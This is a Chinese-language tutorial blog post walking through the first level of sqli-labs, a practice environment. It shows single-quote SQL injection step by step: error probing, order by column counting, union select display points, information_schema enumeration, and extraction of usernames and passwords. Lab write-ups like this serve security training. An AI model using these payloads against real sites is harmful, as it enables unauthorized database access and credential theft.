Sqlilab通关教程

第一关:基于单引号的字符型注入


目录

第一关:基于单引号的字符型注入

先进行输入参数?id=1' 出现报错说明发现注入点,判断该类型为字符注入


order by

判断数据库--表--表里面的数据的列进行排序(从1开始)

union select 1,2,3 --

判断数据显示点

select system_user()

显示系统用户

select version()

显示版本信息

select @@datadir

数据库的安装路径

*查库: select schema_name from information_schema.schemata

*查表: select table_name from information_schema.tables where table_schema='security'

*查列: select column_name from information_schema.columns where table_name='users'

*查字段: select username,password from security.users

先进行输入参数?id=1' 出现报错说明发现注入点,判断该类型为字符注入

 用order by 语法进行二分法测试,发现order by 3回显正确,表明有三列

然后进行联合查询,来判断1,2,3列会回显那一列(注意id的之应该赋予一个不存在的值,来执行后面的联合语句来正确回显) 

结果可以知道

 

 (此处的2,3是指在limit命令下显示第一行2,3列的数据)

 

 因为知道password是在3处回显的,所以在3处进行回显语句查库

查库: 因为用limit 一个个筛查太慢,用group_concat()函数来查库的信息

 查表:注意(不推荐在=后面使用‘’,会引入单引号问题,建议使用十六进制)

 查列

 查字段   用到了一个concat_ws('~,A,B')进行username 和 password的拼接

 

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值